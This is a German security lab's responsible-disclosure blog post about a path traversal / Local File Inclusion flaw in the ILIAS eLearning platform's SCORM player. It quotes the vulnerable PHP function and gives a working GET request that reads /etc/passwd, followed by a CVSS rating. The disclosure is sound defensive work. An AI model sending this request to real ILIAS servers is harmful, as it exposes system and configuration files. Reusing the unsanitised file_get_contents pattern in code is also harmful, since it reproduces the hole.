Weitere Veröffentlichungen

In unserem Labor schreiben wir regelmäßig in Form von Blogbeiträgen über identifizierte Sicherheitslücken, welche nach dem Responsible Disclosure Verfahren veröffentlicht werden.

Veröffentlichung (CVE-2024-XXXXX)

Local File Inclusion in ILIAS eLearning platform

19.02.2024 - Rene Rehme

Im Zuge eines Penetrationstests haben wir mehrere Sicherheitslücken in ILIAS Version 7.27, 8.8 und 9.0 Beta 2 identifiziert. In dieser Veröffentlichung geht es um eine Local File Inclusion (LFI) Sicherheitslücke.

Responsible Disclosure

18. Jan. 2024 - Die Sicherheitslücke wurde identifiziert.
23. Jan. 2024 - Die Sicherheitslücke wurde an ILIAS gemeldet.
29. Jan. 2024 - ILIAS bestätigt den Erhalt des Reports.
16. Feb. 2024 - ILIAS bestätigt, dass die Sicherheitslücke geschlossen wurde.
16. Feb. 2024 - Patched ILIAS-Release: 8.9, 7.28

Allgemeine Beschreibung

Eine Local File Inclusion Schwachstelle wurde im SCORM-Lernmodul gefunden. Ein Angreifer, mit einem privilegierten Account, kann mit entsprechender Berechtigung potenziell den Inhalt jeder auf dem Webserver abgelegten Datei, welche mit dem Webserver-User www-data gelesen werden kann, abrufen. Zum Beispiel Konfigurationsdateien oder auch Dateien außerhalb des documentRoot.

Proof of Concept (PoC)

content image

In der Klasse class.ilSCORM13PlayerGUI.php ist die Funktion openLog von einem Nutzer mit den Rechten read aufrufbar:

class.ilSCORM13PlayerGUI.php
public function openLog()
{
    $filename = $_GET['logFile'];
    //Header
    header('Content-Type: text/html; charset=UTF-8');
    echo file_get_contents($this->logDirectory() . "/" . $filename);
    exit;
}

Die Variable $filename wird vom Nutzer über den URL-Queryparameter logFile definiert. Diese wird ungefiltert in eine file_get_contents() Funktion übergeben, wodurch via.  Direcory Traversal (../) auf Dateien zugegriffen werden kann, die z.B. außerhalb des eigentlich vorgesehenen Verzeichnisses liegen.

Beispiel:

GET-Request
GET /ilias.php?baseClass=ilSAHSPresentationGUI&cmd=openLog&ref_id=88&logFile=../../../../../../../../../etc/passwd HTTP/1.1
Host: ilias.local:8080

In diesem Beispiel wird die Systemdatei passwd via Direcory Traversal aus dem /etc Verzeichnis des Webservers ausgelesen.

Klassifizierung

CWE-20 Improper Input Validation

CWE-35 Path Traversal

Bewertung

Exploitability Metrics

Attack Vector (AV): N
Es handelt sich um einen Netzwerkangriff. Die verwundbare Komponente ist "aus der Ferne ausnutzbar" und wird als ein Angriff betrachtet, der auf Protokollebene über das Internet stattfindet.
 

Attack Complexity (AC): L
Besondere Zugangsbedingungen oder mildernde Umstände bestehen nicht.
 

Attack Requirements (AT): N
Es wird davon ausgehen, dass die Payload in den meisten Fällen erfolgreich ausgeführt wird. Es werden keine besonderen Einstellungen oder Konfigurationen vorrausgesetzt.
 

Privileges Required (PR): L
Der Angreifer benötigt Privilegien, die grundlegende Benutzerfunktionen eines Users bereitstellen. Für eine Ausnutzung reicht i.d.R ein User-Account.
 

User Interaction (UI): N
Es ist keine User-Interaktion durch ein Opfer notwendig.

Vulnerable System Impact Metrics

Confidentiality (VC): H
Bei einen erfolgreichen Angriff kommt es zu einem totalen Verlust der Vertraulichkeit. Ressourcen innerhalb der betroffenen Applikation werden dem Angreifer bei gegebenem Lesezugriff und entsprechender Berechtigung durch den Webserver-User www-data offengelegt.
 

Integrity (VI): N
Bei einem erfolgreichen Angriff kommt es zu keinem Verlust der Integrität.
 

Availability (VA): N
Bei einem erfolgreichen Angriff kommt es zu keinem Verlust der Verfügbarkeit.

Subsequent System Impact Metrics

Confidentiality (SC): H
Bei einem erfolgreichen Angriff kommt es zu einem totalen Verlust der Vertraulichkeit. Ressourcen und Komponenten des Betriebssystems werden dem Angreifer bei gegebenem Lesezugriff und entsprechender Berechtigung durch den Webserver-User www-data offengelegt. Der Zugriff auf Konfigurationsdateien von MySQL oder andere Komponenten wird ermöglicht.
 

Integrity (SI): N
Bei einem erfolgreichen Angriff kommt es zu keinem Verlust der Integrität.
 

Availability (SA): N
Bei einem erfolgreichen Angriff kommt es zu keinem Verlust der Verfügbarkeit.

Externe Informationen